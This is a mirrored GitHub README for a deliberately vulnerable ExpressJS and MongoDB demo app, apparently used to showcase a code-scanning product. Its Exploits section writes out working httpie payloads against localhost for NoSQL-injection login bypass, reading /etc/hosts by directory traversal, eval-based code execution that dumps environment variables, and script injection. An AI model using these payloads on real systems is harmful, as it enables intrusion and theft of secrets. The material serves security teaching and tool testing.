GithubHelp home page GithubHelp logo

kacakb / shiftleft-js-demo Goto Github PK

View Code? Open in Web Editor NEW

This project forked from shiftleftsecurity/shiftleft-js-demo

0.0 0.0 0.0 56 KB

License: Apache License 2.0

JavaScript 91.03% Makefile 2.69% Dockerfile 0.46% Pug 5.82%

shiftleft-js-demo's Introduction

NodeJS Tarpit

An ExpressJS (tarpit) application using mongoDB.

I am using httpie, an alternative to curl to trigger exploits.

Getting started

๐Ÿคž๐Ÿคž๐Ÿคž I hope all goes as smooth as possible

Pre-requisites (Running without docker)

Pre-requisites (Running with docker)

  • Docker
  • Run the command make start

Setup (if not using docker)

start mongoDB server (sudo mongod) start mongoDB client (mongo) Insert user rows using the query

node db-init.js

Installation (if not using docker)

Run npm install to install all dependencies for the project to run

Run Application (if not using docker)

Run npm run server to start the application and you will provided a local address to open in browser

Exploits

No SQL Injection

Login can be exploited with the following query as the username and password are not validated

http  --print=HB POST http://localhost:8089/api/v1/login username:='{"$gt": ""}' password:='{"$gt": ""}'

Directory Traversal Vulnerability

Can get access to any file on the server using the command

http GET http://localhost:8089/api/v1/image-lookup image=="/etc/hosts"

Remote Code Execution

RCE exploting eval on server

http GET http://localhost:8089/user-input userInput=="console.log(process.env)"

Injecting script onto user browser

http GET http://localhost:8089/user-input userInput=="alert('You system is under our control now.')"

Can exploit the whole server by injecting something like the code below (https://medium.com/lift-security/in-memory-backdoor-for-node-js-express-apps-2a3f4301925b)

http GET http://localhost:8089/user-input userInput=="res.cookie('appLocals',JSON.stringify(req.app.locals))"

Vulnerabilities

shiftleft-js-demo's People

Contributors

alexhornbake avatar perrito666 avatar preetam avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.